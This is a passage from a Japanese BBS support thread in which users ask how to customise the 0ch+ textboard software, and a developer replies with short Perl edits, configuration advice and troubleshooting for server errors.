889 :◆CSZ6G0yP9Q :2013/12/31(火) 16:00:21.04 ID:33fC3g4E0


890 :名無しさん@ぜろちゃんねるプラス:2013/12/31(火) 16:00:57.72 ID:33fC3g4E0
すみません。書く掲示板を間違えました。

891 :名無しさん@ぜろちゃんねるプラス:2013/12/31(火) 17:23:57.45 ID:HL7tIOCw0
>>879
人大杉はuptimeのロードアベレージの数値を元に実現できるかと

参考に、以前公開されてた「せふと」を元に無理やり改造したへっぽこスクリプトを一部晒してみる
http://www21.atpages.jp/ahiruch2/hitoosugi.txt

892 :名無しさん@ぜろちゃんねるプラス:2014/01/02(木) 11:42:38.57 ID:XZJGvlND0
>>891
有難うございます!
設定値などは自ら勉強してみます!

893 :名無しさん@ぜろちゃんねるプラス:2014/01/04(土) 09:37:17.68 ID:qb7rfrUm0
すみません
レスアンカーを選択すると対象のレスをJavascriptで表示というのはどうすればいいでしょう
分かりにくいと思うので例を出します
ログ速というサイトでレスアンカーにカーソルを合わせるとそのレス番号のレスが表示されますよね?
そのような感じです

894 :0ch+開発担当 ◆0chp.sx.ik :2014/01/04(土) 12:58:28.53 ID:m0aSXegd0
>>893
現状のスクリプトは設計が悪く、それを実現するには大掛かりな改造が必要になります。
一応、すべきことを書いておきます。
・1レスをid付きdivタグで囲む (read.cgi sub PrintResponse)
・アンカーリンクにアンカーであることと対象レスの情報を含める(data-属性などで) (galadriel.pl sub ConvertQuotation)
・ヘッダあたりにスクリプトを埋め込む(jQueryがあると楽) (read.cgi sub PrintReadHead)
・スクリプトで全アンカーに対して「マウスオーバーで対象レスのdivをコピーして小さく表示する」ように処理を行う

複雑に絡まっているコードはあまり触りたくないですね。

895 :0ch+開発担当 ◆0chp.sx.ik :2014/01/04(土) 13:47:32.92 ID:m0aSXegd0
>>786
遅くなりましたが、作者からの返答がありました。
Hawker!のコードは人に見せられる状態ではないとのことで、公開の予定はないそうです。

代わりに私が簡単なものを作ってみました(若干読みにくいですが)。
http://fox.jeez.jp/src/Fox_5943.zip.html [pass: cusion]
Apache鯖用で、.htaccessとcusion.cgiを置いたディレクトリがリファラクッションになります。
http://example.jp/cusion.cgi のような位置に置けば
http://example.jp/example2.net/abc.html のように使えます。

896 :名無しさん@ぜろちゃんねるプラス:2014/01/04(土) 13:50:21.80 ID:qb7rfrUm0
>>894
わかりました
ありがとうございます
気長に頑張ってみます

897 :0ch+開発担当 ◆0chp.sx.ik :2014/01/04(土) 13:57:23.86 ID:m0aSXegd0
>>786
すみません、>>895のURLのものはバグがあったので↓こちらに差し替えます。
http://fox.jeez.jp/src/Fox_5944.zip.html

898 :名無しさん@ぜろちゃんねるプラス:2014/01/06(月) 20:15:20.67 ID:O5n4cuq20
エラーの際、「書き込みました」と同じ画面で、エラーメッセージだけそれぞれ設定方法はありますか?

↓これと同じ画面で、エラーメッセージだけ変えたいです。
------------------------------------
書きこみが終わりました。

画面を切り替えるまでしばらくお待ち下さい。


899 :0ch+開発担当 ◆0chp.sx.ik :2014/01/07(火) 00:22:34.11 ID:B7C6m7Ot0
>>898
module/orald.pl の167行目以降のHTMLがエラーページに表示されます。
これを bbs.cgi の543行目以降のHTML(成功画面)に合わせて書き換えてください。

900 :名無しさん@ぜろちゃんねるプラス:2014/01/07(火) 12:40:10.49 ID:jYwQ7rtg0
はじめて掲示板スクリプトで掲示板を建ててみようと思ったのですが
janeなどの専用ブラウザで書き込んだ際に406エラーを吐いて一度更新しないとレスが反映されません
これはどこかの設定などがおかしいのでしょうか?

901 :名無しさん@ぜろちゃんねるプラス:2014/01/07(火) 15:26:53.98 ID:+i6z8LD50
>>895,>>897
わざわざありがとうございました
使用させていただきます

902 :名無しさん@ぜろちゃんねるプラス:2014/01/07(火) 18:54:35.17 ID:+i6z8LD50
>>896の件ですが、
http://example.jp/a/example2.net/なら問題ないのですが、
http://example.jp/example2.net/だと500エラーになってしまうようです

903 :0ch+開発担当 ◆0chp.sx.ik :2014/01/07(火) 19:56:28.13 ID:B7C6m7Ot0
>>900
設定ミスやバグ等で406エラーにはならないはずなので、
サーバーの設定かファイアフォール関係だと思います。
使用しているサーバーは何ですか?

>>902
こちらのローカル環境ではエラーになっていません。
cusion.cgiと.htaccessのパーミッション、.htaccessの使用制限などを確認してみてください。

904 :名無しさん@ぜろちゃんねるプラス:2014/01/07(火) 20:17:54.19 ID:jYwQ7rtg0
>>903
あーやっぱりサーバですか…
Rental Orbit Spaceという無料のサーバを使用しています
一応鯖側のほうにも問い合わせてみます

905 :0ch+開発担当 ◆0chp.sx.ik :2014/01/07(火) 20:24:42.23 ID:B7C6m7Ot0
>>904
http://www.orsp.net/qanda.shtml
> * 度々Error 406 と表示されます。サーバでトラブルですか?
> おそらく入力されたデータが不正アクセスに利用される可能性の
> 高いものであるため自動で遮断された可能性があります。
> 恐れ入りますがこれはセキュリティーによるものです。
> お客様のホームページを未知のクラッキング技術やソフトウエアのバグ、
> ウイルスから守るためのものです。ご了承下さい。

まさにこれですね。改善は厳しいかもしれません。

906 :名無しさん@ぜろちゃんねるプラス:2014/01/07(火) 20:29:15.27 ID:jYwQ7rtg0
>>905
完全に見落としてました、すいません
とりあえず別のところにするか有料のサーバに移転も検討します
ありがとうございました

907 :名無しさん@ぜろちゃんねるプラス:2014/01/08(水) 21:39:26.69 ID:KW1csJKV0
すいません、とあるプラグインで以下のようなエラーが出ました
Bad name after MainCGI' at ./plugin/0ch_hogehoge.pl line 104.
当の104行目はこれです

my $CGI = $Sys->Get('MainCGI');

ダブルクオーテーションに直すと出ないのですがすべてダブルクオーテーションにしてしまうと500が返されます
どうすればよいでしょうか?

908 :0ch+開発担当 ◆0chp.sx.ik :2014/01/08(水) 21:54:50.83 ID:2VYkDSjj0
>>907
その行以前に対応のとれていないシングルクォーテーションはありませんか?

見つからないようならShift_JISの\x5C問題を疑ってください。
例えば以下のようにクォーテーションの直前に5C文字「能」がある場合、
  return 'なんとか機能';
半角円記号を挿入して以下のようにする必要があります。
  return 'なんとか機能\';

909 :名無しさん@ぜろちゃんねるプラス:2014/01/09(木) 19:28:16.53 ID:vZUTKrww0
ありがとうございます
Shift_JISの機能を指定通りにしたらできました!
ありがとうございます

910 :名無しさん@ぜろちゃんねるプラス:2014/01/10(金) 19:17:46.29 ID:0pj2I/ZJ0
スレを立てたりレスを書いた場合は板が更新されますが、スレをadminで削除した場合は板トップが更新されません。>>878の条件もすべて合っています。

スレを削除した場合も、レスやスレ立てしなくても、削除が反映されるにはどうしたらいいですか?

911 :0ch+開発担当 ◆0chp.sx.ik :2014/01/10(金) 19:28:54.38 ID:IPAcSGRW0
>>910
管理画面からの削除ではindexは更新されない仕様になっています。
管理画面の掲示板一覧からindex更新を行ってください。

912 :名無しさん@ぜろちゃんねるプラス:2014/01/11(土) 01:34:41.58 ID:ern9Rodw0
>>897

このコード、余裕がある時に使ってみたいので、sourceforgeに登録していただけるとありがたいです。

あと、ここに「triptest_1.0.1.zip」や「0ch_spamblock_20111212.zip」が置かれていますが、↓
http://sourceforge.jp/projects/zerochplus/releases/
このスレで、たまに要望に対してコードを書かれていますが、それらも合わせて、
サポート対象外として簡単な説明とともに一覧で登録してもらえるとうれしいです。


913 :名無しさん@ぜろちゃんねるプラス:2014/01/11(土) 09:12:38.41 ID:rSVG2tzV0
ERROR:1002 - 設定項目に規定外の文字が使用されています。

とでます

英数字とハイフン、アンダーバー以外使ってません

914 :913:2014/01/11(土) 09:21:33.01 ID:rSVG2tzV0
あできたすいません

915 :名無しさん@ぜろちゃんねるプラス:2014/01/11(土) 14:21:40.93 ID:3dvFrmhQ0
すいません、BBSMENUのCGIを使おうとしているのですが500エラーが返されます
testフォルダ内の中に入れていて最初の部分は
my $system_dir = '';
と書き換えたのですが……なぜでしょうか?

916 :名無しさん@ぜろちゃんねるプラス:2014/01/11(土) 14:22:55.93 ID:3dvFrmhQ0
あ、パーミッションを設定し忘れていました
すいません

917 :0ch+開発担当 ◆0chp.sx.ik :2014/01/11(土) 20:43:28.91 ID:smKvrQt30
>>912
リリースには登録していませんが、SVN上に上げておきました。

また、今まで公開したプログラムはWikiに列挙しておきました。
https://sourceforge.jp/projects/zerochplus/wiki/Codes

918 :名無しさん@ぜろちゃんねるプラス:2014/01/12(日) 00:20:38.78 ID:zzVmIv1H0
read.cgiにサブバナーを表示させるにはどうしたら良いでしょうか?

919 :0ch+開発担当 ◆0chp.sx.ik :2014/01/13(月) 11:57:31.21 ID:4Xdg2hpt0
>>918
read.cgiのみ表示させるような設定項目はないので、read.cgiを直接編集してください。
表示させる位置によりますが、sub PrintReadHead か sub PrintReadFoot あたりのHTMLを編集してください。

920 :名無しさん@ぜろちゃんねるプラス:2014/01/14(火) 15:32:05.69 ID:5JEtvfTv0
>>919
遅くなりました
ありがとうございます

921 :名無しさん@ぜろちゃんねるプラス:2014/01/16(木) 04:44:06.55 ID:2mXiOAVd0
r.cgiの名前に挿入されている<b>〜</b>を削除したいのですが、どうすれば良いでしょうか?

922 :0ch+開発担当 ◆0chp.sx.ik :2014/01/16(木) 19:24:50.94 ID:7jA3mHkK0
>>921
<b>タグだけを削除する場合は
r.cgiのsub PrintResponse内、396行目あたりに以下のコードを追加してください。
  $elem[0] =~ s|</?b>||gi;

923 :名無しさん@ぜろちゃんねるプラス:2014/01/16(木) 23:59:38.83 ID:rYHfCV/n0
昔ニュー速で実装されていたkuso機能の類はどうすれば実装できるでしょうか?

924 :0ch+開発担当 ◆0chp.sx.ik :2014/01/17(金) 12:35:31.69 ID:K5XUyvrT0
>>923
『kuso投票ありのスレにメ欄に「kuso」と書いてレスすると投票されて、
レス数20以上で判定開始、kuso投票が50票か40%を超えたらdat落ち』

という機能を実装するには以下のような処理が必要です。
・スレ立て時に条件を満たしていれば「kuso投票あり」という属性を付ける
・レス時に投票あり属性がついていれば以下の処理を行う
・メ欄に「kuso」があれば「kuso」属性の値に1を加える
・レス数が20以上なら投票数の判定を行いdat落ち処理を行う

これらの処理はほとんどプラグインでできますが、
dat落ち処理だけは現状プラグインでは行うことができません。
module/vara.plを改造する必要があります。

925 :名無しさん@ぜろちゃんねるプラス:2014/01/18(土) 15:25:25.30 ID:Kw6gF4U50
全く関係ない人間ですけど自動Dat落ちを転用することは不可なのでしょうか?
それと忍法帖のような機能の作り方を教えてください

926 :0ch+開発担当 ◆0chp.sx.ik :2014/01/18(土) 15:46:26.62 ID:LKtWoH5L0
>>925
自動dat落ちプラグインについては改造するなり自由に利用してください。

>忍法帳のような機能
セッションを利用した個人用書き込みカウンターがあります。
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_sessioncount.pl
これにカウントする条件を加えればレベル的な機能が実現できます。

レベルに応じて規制強度を変更したい場合は>>719-722あたりを参考にしてください。

927 :名無しさん@ぜろちゃんねるプラス:2014/01/18(土) 15:57:36.72 ID:Kw6gF4U50
>>757のように設定すればよいのですね、ありがとうございます
しかし申し訳ないのですがもう一つ質問があります
水遁のようなものはどうやって作ればよいのでしょうか?
また文字容量制限はどうすればよいのでしょうか?

928 :名無しさん@ぜろちゃんねるプラス:2014/01/18(土) 16:06:23.09 ID:esenRv6Q0
>>924
dat落ちではなく他の板への移送という形で考えております

929 :0ch+開発担当 ◆0chp.sx.ik :2014/01/18(土) 16:34:05.33 ID:LKtWoH5L0
>>927
水遁については、レスと忍法帳ID(セッションID)の紐付けを
しなければならないので現状のスクリプトではかなり難しいと思います。

レベルに応じて文字容量制限を変更する場合は>>757と同様に
BBS_MESSAGE_COUNTなどの値を再設定してください。


>>928
他の板へ移動する場合もdat落ち処理と同様の処理を行う必要があります。

930 :名無しさん@ぜろちゃんねるプラス:2014/01/18(土) 16:47:03.91 ID:Kw6gF4U50
有難うございました!


931 :名無しさん@ぜろちゃんねるプラス:2014/01/18(土) 18:05:49.61 ID:esenRv6Q0
>>929
同等の処理とは具体的に何を行えばよろしいのでしょうか

932 :0ch+開発担当 ◆0chp.sx.ik :2014/01/18(土) 18:23:23.68 ID:LKtWoH5L0
>>931
dat落ち(ライブスレッド→プール)と板間移動(ライブスレッド→別の板)の
それぞれについてコードを以下のページに貼っておきました。
http://pastebin.com/XCwcTmZ9

module/vara.pl の230行目あたりを改造してこのような処理を行うことになります。

933 :名無しさん@ぜろちゃんねるプラス:2014/01/18(土) 18:56:42.67 ID:esenRv6Q0
>>932
ありがとうございます

934 :名無しさん@ぜろちゃんねるプラス:2014/01/18(土) 22:37:24.08 ID:43DKi7xV0
すみません、perl全くの初心者で何となくしかわかってないのですが
おみくじプラグインの結果を確率で変動させるにはどういった場所をどう改変すれば良いのでしょうか
もし良ければで構いませんのでお答えが頂けると有難いです

935 :名無しさん@ぜろちゃんねるプラス:2014/01/19(日) 19:03:52.12 ID:1CFFl2pli
あと連投規制をオフにしたいのですがどうすればいいですか

936 :0ch+開発担当 ◆0chp.sx.ik :2014/01/19(日) 20:19:44.91 ID:nkW7NSP10
>>934
sub OMIKUJI 内を書き換えてください。
  my $r = int rand 1000;
  if ( $r < 10 ) { # 0...9 = 10/1000
    return '1%';
  } elsif ( $r < 30) { # 10...29 = 20/1000
    return '2%';
  } elsif ( $r < 10) { # 30...99 = 70/1000
    return '7%';
  } else { # 100...1000 = 900/1000
    return '90%';
  }

>>935
システム設定->規制設定 と 掲示板設定->制限・規制設定 に設定項目があります。

937 :0ch+開発担当 ◆0chp.sx.ik :2014/01/19(日) 20:21:01.92 ID:nkW7NSP10
あ、ちょっとコード訂正です
x   } elsif ( $r < 10) { # 30...99 = 70/1000
o   } elsif ( $r < 100) { # 30...99 = 70/1000

938 :名無しさん@ぜろちゃんねるプラス:2014/01/19(日) 20:39:22.02 ID:UzYqYSy50
>>936
>>937
ありがとうございます!早速試してみます!

939 :名無しさん@ぜろちゃんねるプラス:2014/01/19(日) 22:39:28.45 ID:UzYqYSy50
{
my ($seed) = @_

940 :名無しさん@ぜろちゃんねるプラス:2014/01/19(日) 22:40:19.54 ID:UzYqYSy50
すいません、書き込みミスです

941 :あぼーん:あぼーん
あぼーん

942 :超初心者:2014/01/26(日) 15:45:17.96 ID:/BfUosZf0
testフォルダごとじゃなくて中身だけuploadしても使えますか?

943 :0ch+開発担当 ◆0chp.sx.ik :2014/01/26(日) 16:46:27.76 ID:vogxkBUb0
>>942
適切に設定すれば使えますが、専用ブラウザからは一切書き込めなくなります。

944 :超初心者:2014/01/26(日) 21:54:04.62 ID:/BfUosZf0
>>943
フォルダ名を変えるのもダメですか?

945 :0ch+開発担当 ◆0chp.sx.ik :2014/01/26(日) 22:07:32.74 ID:vogxkBUb0
>>944
専用ブラウザが「/test/bbs.cgi」にアクセスして書き込みを行っているので、
「test」を書き換えると専用ブラウザでは書き込めなくなります。
もちろん普通のWebブラウザなら書き込めます。

946 :名無しさん@ぜろちゃんねるプラス:2014/01/26(日) 22:51:22.57 ID:jp5Gah1K0
スレ立て時にスレタイをプラグイン側で取得することって可能ですかね?

947 :0ch+開発担当 ◆0chp.sx.ik :2014/01/26(日) 23:02:21.25 ID:vogxkBUb0
>>946
  my $title = $Form->Get('subject');
これで取得できると思います。

948 :名無しさん@ぜろちゃんねるプラス:2014/01/26(日) 23:45:17.28 ID:jp5Gah1K0
ありがとうございます。
早速試してみます。

949 :名無しさん@ぜろちゃんねるプラス:2014/01/29(水) 15:33:52.69 ID:mWJtLzXv0
お世話になっております
>>895のプログラムをご利用させて頂いております

さくらインターネットさんで設定した場合、初期ドメインと同じ階層に独自ドメインを割り当てた場合問題なく動くのですが、
初期ドメインと違う階層に独自ドメインを割り当て、その独自ドメインからアクセスした場合はうまく動かないようです

http://example.sakura.jp/example/(Web上からはhttp://example.jp/でアクセス)以下にcusion.cgiとhtaccess.cgiを置いております
独自ドメインからアクセスしても動くようにはできますでしょうか?

950 :超初心者:2014/01/29(水) 17:30:01.26 ID:59+Y4EwE0
/ディレクトリ/index.htmlのmeta要素に
<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
を付け足したいのですがどこを変更すればよいでしょうか?

951 :名無しさん@ぜろちゃんねるプラス:2014/01/29(水) 17:31:03.86 ID:0LNUEOJ40
-----------------------------
レス番号:名前
     日付時間
     ID

----------------------------

レス表示の際
上記のように改行させるにはどうすればよいでしょうか?


     

952 :名無しさん@ぜろちゃんねるプラス:2014/01/29(水) 17:41:44.10 ID:59+Y4EwE0
>>950 自己解決しました。失礼しました。

953 :0ch+開発担当 ◆0chp.sx.ik :2014/01/29(水) 22:34:53.88 ID:r4x8+fz50
>>949
エイリアスの設定の影響でそのままでは動作しません。

設定項目を加えて対応させてみました。
http://svn.sourceforge.jp/svnroot/zerochplus/codes/cusion/cusion.cgi
今回は $virtual_path = '/'; としてください。

954 :0ch+開発担当 ◆0chp.sx.ik :2014/01/29(水) 22:43:14.52 ID:r4x8+fz50
>>951
read.cgi の sub PrintResponse 内、523-534行目あたりのHTMLを編集してください。
「$n」がレス番号、「$elem[0]」が名前、「$elem[1]」がメ欄、「$elem[2]」が日付・ID部分です。

日付とIDは一緒になっているので分解する必要があります。
  my ($date, $id) = ($elem[2] =~ /^(.+? .+?) (.*)$/);

955 :名無しさん@ぜろちゃんねるプラス:2014/01/30(木) 01:17:52.66 ID:jDJ6oJK90
>>954
ありがとうございます

956 :名無しさん@ぜろちゃんねるプラス:2014/01/31(金) 12:29:21.37 ID:IbhcczGo0
すいません
コンマ以下を表示するにはいったいどうしたらよいでしょうか

957 :0ch+開発担当 ◆0chp.sx.ik :2014/01/31(金) 12:30:50.57 ID:aesxcWgr0
>>956
システム設定->表示設定で「ミリ秒まで表示する」にチェックを入れてください。

958 :名無しさん@ぜろちゃんねるプラス:2014/01/31(金) 12:31:19.97 ID:IbhcczGo0
>>957
そんな設定項目が
有難うございました

959 :名無しさん@ぜろちゃんねるプラス:2014/01/31(金) 19:52:03.71 ID:nGvfKtou0
kakoログのindex.htmlはどこで表示させているのでしょうか?

960 :0ch+開発担当 ◆0chp.sx.ik :2014/01/31(金) 20:07:21.20 ID:aesxcWgr0
>>959
過去ログのindex.htmlは管理画面の過去ログ一覧から
「情報更新」または「index更新」をした時に生成されます。
HTMLは module/celeborn.pl の sub OutputIndex で生成されています。

961 :名無しさん@ぜろちゃんねるプラス:2014/02/01(土) 20:04:04.48 ID:GGWShuzM0
サイト下部のクレジットを消す方法を教えて下さい。

962 :0ch+開発担当 ◆0chp.sx.ik :2014/02/01(土) 20:32:07.74 ID:W7VLddkG0
>>961
過去に同様の質問があったのでこちらを参照してください。
http://yakin.38-ch.net/test/read.cgi/zerochplus/1300698832/183-184

963 :名無しさん@ぜろちゃんねるプラス:2014/02/07(金) 04:04:13.27 ID:wRlKhyaK0
@pagesにぜろちゃんねるを設置した場合
janestyle (ver3.75)及びjanexeno(ver140116)で読み書きができなくなりました
V2Cやwebブラウザ、JaneDoeViewなどでは問題なく読み書きできるようです
どうすればよいでしょうか?

964 :0ch+開発担当 ◆0chp.sx.ik :2014/02/07(金) 12:17:38.71 ID:GZYH4i1a0
>>963
最近@PAGESにCloudFlareのファイアウォールが導入されたみたいで、
そのファイアウォールがJane StyleのUserAgentを弾いてるため読み書きできなくなっています。

専ブラのUserAgentを変更できればいいのですが、それができないので
@PAGESかCloudFlareに改善要望を出すか、Jane Style開発者にUA変更設定を追加してもらうしかありません。

965 :名無しさん@ぜろちゃんねるプラス:2014/02/07(金) 17:06:16.62 ID:wRlKhyaK0
>>964
わかりました、ありがとうございます

もう一つお聞きしたいのですが
1レス辺りの容量を最大文字数ではなくbyteにするにはどうすればよいのでしょうか?


966 :0ch+開発担当 ◆0chp.sx.ik :2014/02/07(金) 17:29:19.19 ID:GZYH4i1a0
>>965
本文の最大文字数(BBS_MESSAGE_COUNT)は文字数ではなくバイト数で判定しています。

具体的には、<>→&lt;&gt; と 改行→<br> の変換および、
プラグイン(type=1,2)を実行した後の文字列のバイト数で判定を行っています。

967 :名無しさん@ぜろちゃんねるプラス:2014/02/07(金) 19:38:10.95 ID:wRlKhyaK0
わかりました
教えていただきありがとうございます

968 :名無しさん@ぜろちゃんねるプラス:2014/02/07(金) 22:18:34.82 ID:LrvH8xdZ0
toshinari.netというサイトのread.cとread.cgiを差し替えることは可能でしょうか?
またプログラム的に齟齬は起きないでしょうか?

969 :0ch+開発担当 ◆0chp.sx.ik :2014/02/07(金) 22:39:34.18 ID:GZYH4i1a0
>>968
0ch+のread.cgiは0ch+のシステムにかなり依存しているので、
同様のプログラムであっても差し替えはできないものと考えてください。

そのサイトのシステムと0ch+のシステムを同時に動かせば
そのようなこともできなくはないかもしれませんが、お勧めはできません。

970 :名無しさん@ぜろちゃんねるプラス:2014/02/08(土) 08:56:15.99 ID:xh0DpvgU0
規制ユーザーが全く動作しません
.panda-world.ne.jp
と記述しても書き込めたりするのですが……
どうしたらよいでしょう?
ちなみに別の掲示板では正規表現なしにちゃんと動作しているようです

971 :名無しさん@ぜろちゃんねるプラス:2014/02/13(木) 19:49:54.02 ID:fb8zhFZN0
掲示板トップのヘッダーフッダーのテーブル調整はどこで調整したらいいですか?

972 :0ch+開発担当 ◆0chp.sx.ik :2014/02/13(木) 20:33:58.88 ID:xMiHar8d0
>>970
返信が遅くなってすみません。

>.panda-world.ne.jp
このような記述はすべて正規表現とみなされるので注意してください。

>書き込めたりする
一応、管理画面でレス一覧から書き込まれたレスのホスト名を確認してみてください。
ユーザー規制が動作していないようなら、ホスト指定にスペースなどが入っていないか確認して下さい。
また、test/madakana.cgiにアクセスするとその端末が規制されているかどうかがわかります。

>>971
indexのヘッダーはlegolas.plのsub Print、フッターはvarda.plのsub PrintIndexFootです。

973 :名無しさん@ぜろちゃんねるプラス:2014/02/14(金) 08:58:44.33 ID:V79nwlK90
0ch_mymsg.plで、AAを表示させたいのですが、更新時にスクリプトエラーが出ます
回避するにはどうすれば良いのでしょうか?

974 :0ch+開発担当 ◆0chp.sx.ik :2014/02/14(金) 11:13:21.12 ID:gXXM9g1y0
>>973
このような感じで一度変換をかけてください。
    my $aa = <<'AA';
 _,,..,,,,_
./ ;' 3 `ヽーっ
l   ⊃ ⌒_つ
`'ー---‐'''''"
AA
    GALADRIEL::ConvertCharacter1(undef, \$aa, 2);
    $text .= '<hr>'.$aa;

975 :名無しさん@ぜろちゃんねるプラス:2014/02/14(金) 15:05:13.44 ID:V79nwlK90
>>974
ありがとうございます!
頑張ってみます

976 :名無しさん@ぜろちゃんねるプラス:2014/02/16(日) 13:38:06.90 ID:EFIth9oq0
携帯板の板トップで、下の

「続き」
「スレッド作成」


ここあたりに、テキストを入れたいのですが、vardaの162行あたりを編集したら、500エラーが出ました。

「戻る」「TOP」などのテキストはどうやって入れたらいいですか?

977 :0ch+開発担当 ◆0chp.sx.ik :2014/02/16(日) 15:30:54.22 ID:UgzuXGH50
>>976
エラーの原因は例えば
・ダブルクォーテーションのエスケープ 「"」→「\"」
・宣言していない変数の使用 「$abc = 'abc...';」→「my $abc = 'abc...';」
・文字列中の特殊記号 「$ % @」→「\$ \% \@」
・文字列中の改行 改行→「\n」
などが考えられます。

  <a href="../">戻る</a>
というHTMLなら
  $Page->Print("<a href=\"../\">戻る</a>\n");
のようにしてください。

978 :名無しさん@ぜろちゃんねるプラス:2014/02/18(火) 22:42:14.86 ID:H7ebGcyO0
AAが3、4行で切れてうまく書き込めない場合があります
この場合どうすればいいのでしょうか

979 :0ch+開発担当 ◆0chp.sx.ik :2014/02/18(火) 23:14:18.50 ID:hsgW29VO0
>>978
書き込みに使用したブラウザは何ですか?

推測ですが、そのブラウザが文字列のエスケープ処理を正しく行っていない場合、
AA中に半角セミコロン「;」を含むとそれ以降の文字が消えることがあります。(参照>>341>>348>>350)

980 :名無しさん@ぜろちゃんねるプラス:2014/02/19(水) 07:27:16.40 ID:D197Rz360
2chのようにread.cgiとread.jsを切り替えて使うということはできるのでしょうか?
read.jsはこちらで作るとしてそれをして0ch+のシステム的には大丈夫なのでしょうか?

981 :名無しさん@ぜろちゃんねるプラス:2014/02/19(水) 10:40:05.34 ID:pQiZxG8Pi
>>979
参照元と同じくTwinkleですね…
ありがとうございます

982 :名無しさん@ぜろちゃんねるプラス:2014/02/19(水) 23:05:59.57 ID:pQiZxG8Pi
>>974
すみません、これを参考にやってみたのですが、何分parlには疎いもので、中々出来ませんでした
もし宜しければもう少し詳しく教えていただけると本当にありがたいです

983 :0ch+開発担当 ◆0chp.sx.ik :2014/02/19(水) 23:17:03.32 ID:/Lr8CY0N0
>>980
read.jsはシステム側からすれば専ブラとほとんど同じ扱いになるので大丈夫だと思います。

>>982
コメントで解説をつけるとこんな感じです。

  my $resNum = (省略); # レス番を取得
  my $text = (省略); # 本文を取得
  
  if ($resNum == 10) { # レス番が10なら
    my $aa = <<'AA'; # AAを準備
 _,,..,,,,_
./ ;' 3 `ヽーっ
l   ⊃ ⌒_つ
`'ー---‐'''''"
AA
    GALADRIEL::ConvertCharacter1(undef, \$aa, 2); # AA中の改行や記号を変換
    $text .= '<hr>'.$aa; # 本文の後ろに水平線とAAをくっつける
    $Form->Set('MESSAGE', $text); # 本文を再設定する
  }

984 :名無しさん@ぜろちゃんねるプラス:2014/02/19(水) 23:21:13.49 ID:SqMY+6aS0
>>983
ありがとうございます
これで頑張ってみます

985 :名無しさん@ぜろちゃんねるプラス:2014/02/19(水) 23:46:13.45 ID:SqMY+6aS0
うーん…
やっぱりスクリプトエラーが出ます
これは鯖が原因なのでしょうか?
ちなみに使用鯖はxreaです

986 :0ch+開発担当 ◆0chp.sx.ik :2014/02/20(木) 00:21:30.80 ID:Z1gomyp70
>>985
AAの下の「AA」という部分の前後にスペース等がありませんか?
この「AA」という部分は前後が改行でなければなりません。

987 :名無しさん@ぜろちゃんねるプラス:2014/02/20(木) 14:26:52.06 ID:ewBts2Zci
原因がわかりました
エディタの仕様かなにかで\が全角になってしまっていたようです
無事に動作しました、本当にありがとうございます

988 :名無しさん@ぜろちゃんねるプラス:2014/02/21(金) 18:45:25.95 ID:D1zkgui+0
>>962
板のindex.htmlではなくて、スレッドページの下部の
READ.CGI - 0ch+ BBS 0.7.4 20131106
ぜろちゃんねるプラス
を消したいです。

989 :0ch+開発担当 ◆0chp.sx.ik :2014/02/21(金) 18:58:15.58 ID:NXwQHSqH0
>>988
read.cgi の sub PrintReadFoot 内の最後を編集してください。

990 :名無しさん@ぜろちゃんねるプラス:2014/02/23(日) 16:54:01.56 ID:gCIDa0sg0
パソコンの板トップのスレをクリックした際、read.cgiに行く場合、インターネットエクスプリーラでいう、タブが別になるのですが、同じタブのままスレに行く方法を教えて下さい。

991 :名無しさん@ぜろちゃんねるプラス:2014/02/23(日) 19:42:18.69 ID:Z1hCj904i
>>990

htmlのaタグのオプション

992 :0ch+開発担当 ◆0chp.sx.ik :2014/02/23(日) 22:22:09.13 ID:jLc96xcE0
>>990
板トップページのスレッド一覧のリンクを同一タブ内で開くようにするには
read.cgi の sub PrintIndexMenu 内394,398行目の「 target=\"body\"」を削除してください。

993 :名無しさん@ぜろちゃんねるプラス:2014/02/24(月) 17:37:13.70 ID:q5k5x5t10
>>991-992
ありがとうございました。

994 :名無しさん@ぜろちゃんねるプラス:2014/02/25(火) 00:02:12.98 ID:Mto/pt140
>>991-992
ありがとうございました。

995 :名無しさん@ぜろちゃんねるプラス:2014/02/26(水) 00:58:11.22 ID:iLFIt8p/0
すみません。操作ミスで>>993-994連投になりました。

996 :名無しさん@ぜろちゃんねるプラス:2014/02/26(水) 06:06:18.08 ID:suS6e2gm0
いくつかの板を作ってそれぞれ強制IDでIDを振る場合、それぞれの板で異なるIDを出させるにはどうしたらいいでしょうか?TEST以下を複数作らないとだめでしょうか?また、どのモジュールをどういじればいいでしょうか?

997 :0ch+開発担当 ◆0chp.sx.ik :2014/02/26(水) 11:44:21.44 ID:IRuPNLF70
>>996
基本的には、板が異なるとIDも変わるようになっています。
特にコードをいじる必要はないと思います。

IDの生成は module/galadriel.pl の sub MakeIDnew で行われています。

998 :名無しさん@ぜろちゃんねるプラス:2014/02/27(木) 19:15:28.32 ID:/TUKMS310
http://jump.x0.toを使ったリンククッションが表示できなくなりました。

エラーメッセージはコレです↓
Not Found
The requested URL /windyakin.net/ was not found on this server.

ええと404なんですけど、これって僕に問題があるのでしょうか?

999 :0ch+開発担当 ◆0chp.sx.ik :2014/02/27(木) 23:53:35.61 ID:KU/xWFNP0
>>998
クッションの管理者に問い合わせたところ、数日中に復旧するそうです。

原因はさくらのレンタルサーバーのアップデートによる影響だったようです。

1000 :0ch+開発担当 ◆0chp.sx.ik :2014/02/27(木) 23:55:39.06 ID:KU/xWFNP0
■次スレ
ぜろちゃんねるプラス質問スレ 2
http://yakin.38-ch.net/test/read.cgi/zerochplus/1393498172/

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

305KB
READ.CGI - 0ch+ BBS 0.7.5 20220323
ぜろちゃんねるプラス